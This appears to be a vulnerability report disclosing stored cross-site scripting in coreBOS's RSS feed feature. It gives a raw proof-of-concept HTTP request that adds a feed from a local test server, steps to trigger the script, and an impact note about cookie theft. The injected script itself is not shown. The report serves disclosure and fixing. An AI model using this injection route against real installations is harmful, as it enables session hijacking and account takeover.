Description

Generic XSS in RSS content allows for the arbitrary execution of JavaScript

Proof of Concept

// PoC Request Add RSS Feed
POST /corebos/index.php?module=Rss&action=RssAjax&file=Popup&directmode=ajax&rssurl=http://127.0.0.1:9999/rss.xml HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: text/plain;charset=UTF-8
Content-Length: 70
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/corebos/index.php?action=ListView&module=Rss
Cookie: ck_login_id_vtiger=1; timezone=0; corebos_browsertabID=609786462376996; _orangehrm=929bfb55f5e0dde7a982136b062a17de; BOXSID=4ipvdaiqhuu670rjgo3bspnd4h; 127001corebos=r2lm7d6pp76a2s5jsikfuv39k5; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

__vt5rftk=sid:021c824e4933096a1dbef2ffcbb7bc3a2aaff33d,1632330381&null

Step to reproduce

Go to Tools > RSS > Add RSS Feed

Add Url RSS contain malicious script. Example RSS

Then, select the Feed Source just added and click Subject of RSS

Video PoC: PoC

Impact

Unfiltered RSS content leads to malicious scripts being executed. This vulnerability has the potential to steal a user's cookie and gain unauthorized access to that user's account through the stolen cookie.